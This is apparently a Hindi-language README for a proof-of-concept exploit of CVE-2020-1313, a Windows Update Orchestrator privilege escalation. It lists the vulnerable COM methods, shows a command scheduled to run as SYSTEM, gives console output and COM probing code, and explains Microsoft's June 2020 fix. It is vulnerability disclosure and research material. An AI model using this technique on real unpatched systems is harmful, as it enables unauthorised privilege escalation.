irsl/cve-2020-1313Proof of concept exploit of Windows Update Orchestrator Service Elevation of Privilege Vulnerability
Windows Update Orchestrator Service एक DCOM सेवा है जिसका उपयोग अन्य घटकों द्वारा पहले से डाउनलोड किए गए Windows अपडेट को स्थापित करने के लिए किया जाता है। USO कॉल करने वालों के अनुचित प्राधिकरण के कारण विशेषाधिकार उन्नयन (किसी भी उपयोगकर्ता से स्थानीय सिस्टम तक) की चपेट में था। यह भेद्यता Windows 10 और Windows Server Core उत्पादों को प्रभावित करती थी। माइक्रोसॉफ्ट द्वारा जून 2020 के पैच मंगलवार को इसे ठीक किया गया।
UniversalOrchestrator सेवा (9C695035-48D2-4229-8B73-4C70E756E519), जो usosvc.dll में कार्यान्वित है, NT_AUTHORITY\SYSTEM के रूप में चल रही है और इसकी पहुँच अनुमतियाँ BUILTIN\Users (अन्य के बीच) के लिए कॉन्फ़िगर की गई हैं।
भले ही इस सेवा द्वारा कार्यान्वित COM वर्गों की गणना अवरुद्ध है (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class), IUniversalOrchestrator इंटरफ़ेस (c53f3549-0dbf-429a-8297-c812ba00742d) - जैसा कि प्रॉक्सी परिभाषा द्वारा उजागर किया गया है - मानक COM API कॉल के माध्यम से प्राप्त किया जा सकता है। निम्नलिखित 3 विधियाँ निर्यात की गई हैं:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
ScheduleWork विधि का उपयोग सेवा के संदर्भ में निष्पादित करने के लिए एक कमांड शेड्यूल करने के लिए किया जा सकता है और यह अनुरोधकर्ता के किसी भी प्राधिकरण के बिना किया जा सकता है।
हालाँकि लक्ष्य निष्पादन योग्य स्वयं डिजिटल रूप से हस्ताक्षरित होना चाहिए और c:\windows\system32 या Program Files में सामान्य फ़ाइलों के अंतर्गत स्थित होना चाहिए, कमांड लाइन तर्क भी निर्दिष्ट किए जा सकते हैं।
इससे c:\windows\system32\cmd.exe लॉन्च करना और इस प्रकार NT_AUTHORITY\SYSTEM के अंतर्गत मनमाना कोड निष्पादन प्राप्त करना संभव हो जाता है, जिससे यह मुद्दा एक स्थानीय विशेषाधिकार उन्नयन बन जाता है।
कार्य "शेड्यूल" किया गया है, यह तुरंत शुरू नहीं होता है।
मेरे द्वारा बनाया गया PoC cmdLine c:\windows\system32\cmd.exe और पैरामीटर के साथ एक "कार्य" कॉन्फ़िगर करता है: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
इसे निष्पादित करना:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
शेड्यूल किए गए कार्य के बारे में एक प्रविष्टि रजिस्ट्री में जोड़ी जाती है:
निर्दिष्ट कमांड रात भर (लगभग 23:20) निष्पादित किया जाता है जब कोई उपयोगकर्ता इंटरैक्शन अपेक्षित नहीं होता है, या SLA के 3 दिन बीत जाने के बाद।
जब मैं USO सेवा की इंटरफ़ेस परिभाषा OleView.NET के साथ प्राप्त नहीं कर सका, तो मैंने सैकड़ों CLSID/IID संयोजनों से गुज़रने के लिए एक स्क्रिप्ट बनाई और जो मैं किसी स्तर पर काम करने की उम्मीद करता था। यह कुछ इस तरह दिखता था:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
इस दृष्टिकोण का परिणाम था:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
फिर मैंने कार्यान्वयन का रिवर्स इंजीनियरिंग शुरू किया और ऊपर वर्णित प्रवाह पाया।
माइक्रोसॉफ्ट ने इस मुद्दे को जून 2020 के पैच मंगलवार पर लापता CoImpersonateClient API कॉल को जोड़कर ठीक किया।
सुधार लागू करने से पहले कार्यान्वयन:
सुधार लागू करने के बाद कार्यान्वयन:
यह कैसे मदद करता है? अनुरोध के प्रसंस्करण की शुरुआत में प्रतिरूपण किया जाता है, इसलिए रजिस्ट्री को अपडेट करने के लिए API कॉल कॉल करने वाले के सुरक्षा संदर्भ में निष्पादित की जाती हैं। यदि कॉल करने वाले के पास HKEY_LOCAL_MACHINE पर कोई विशेषाधिकार नहीं है, तो uso API विधि तदनुसार विफल हो जाएगी।
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313